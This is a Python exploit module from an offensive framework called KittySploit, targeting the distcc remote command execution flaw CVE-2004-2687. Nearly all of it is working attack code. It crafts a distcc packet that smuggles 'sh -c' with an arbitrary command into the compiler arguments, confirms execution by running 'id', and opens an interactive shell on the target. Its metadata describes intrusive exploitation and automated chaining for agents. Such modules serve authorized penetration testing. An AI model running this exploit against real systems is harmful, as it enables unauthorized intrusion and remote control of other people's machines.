distcc - Remote Command Execution (CVE-2004-2687)

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""distcc RCE (CVE-2004-2687) — opens execute session."""

import re
import socket

from kittysploit import *
from lib.protocols.tcp.tcp_scanner_client import Tcp_scanner_client
from lib.exploit.handler import Handler


class Module(Exploit, Tcp_scanner_client, Handler):
    __info__ = {
        'name': 'distcc - Remote Command Execution (CVE-2004-2687)',
        'description': (
            'Exploits CVE-2004-2687 by injecting shell commands into distcc ARGV. '
            'Opens an interactive execute session.'
        ),
        'author': ['KittySploit Team'],
        'cve': ['CVE-2004-2687'],
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://nvd.nist.gov/vuln/detail/CVE-2004-2687'],
        'tags': ['distcc', 'rce', 'unauth', 'kev', 'cve-2004-2687'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 1,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
            'requires': {
                'min_endpoints': 0, 'min_params': 0,
                'tech_hints_any': [], 'tech_hints_all': [],
                'specializations_any': [], 'risk_signals_any': [],
                'auth_session': False, 'capabilities_any': [], 'capabilities_all': [],
                'confidence_min': {}, 'confidence_min_any': {},
                'endpoint_pattern_any': [], 'param_any': [], 'api_surface_ready': False,
            },
            'chain': {
                'produces_capabilities': [
                    {'capability': 'rce', 'from_detail': ''},
                    {'capability': 'shell', 'from_detail': ''},
                ],
                'consumes_capabilities': [],
                'option_bindings': {},
                'suggested_followups': ['scanner/tcp/cve_2004_2687_detect'],
            },
        },
    }

    port = OptPort(3632, 'distcc port', True)

    @staticmethod
    def _argv(arg: str) -> bytes:
        raw = arg.encode()
        return f'ARGV{len(raw):08d}'.encode() + raw

    def execute(self, cmd: str) -> str:
        host = self._host()
        port = self._port()
        if not host:
            return ''
        safe = str(cmd).replace('\n', ';').replace('\r', '')
        # DIST + ARGC=8 args: sh -c <cmd> # -c main.c -o main.o + DOTI
        pkt = (
            b'DIST00000001'
            b'ARGC00000008'
            + self._argv('sh')
            + self._argv('-c')
            + self._argv(safe)
            + self._argv('#')
            + self._argv('-c')
            + self._argv('main.c')
            + self._argv('-o')
            + self._argv('main.o')
            + b'DOTI0000000A'
            + b'WJyU1npobv\n'
        )
        try:
            sock = socket.create_connection((host, port), timeout=self._timeout())
            sock.settimeout(self._timeout())
            sock.sendall(pkt)
            chunks = []
            while True:
                try:
                    chunk = sock.recv(4096)
                except socket.timeout:
                    break
                if not chunk:
                    break
                chunks.append(chunk)
            sock.close()
            return b''.join(chunks).decode('latin-1', errors='replace')
        except Exception:
            return ''

    def handler_execute(self):
        out = self.execute('id')
        if not out or not re.search(r'uid=\d+', out):
            print_error('Target does not appear vulnerable to CVE-2004-2687')
            return False
        print_success('distcc RCE confirmed')
        self.handler_console()
        return True

    def run(self):
        return self.handler_execute()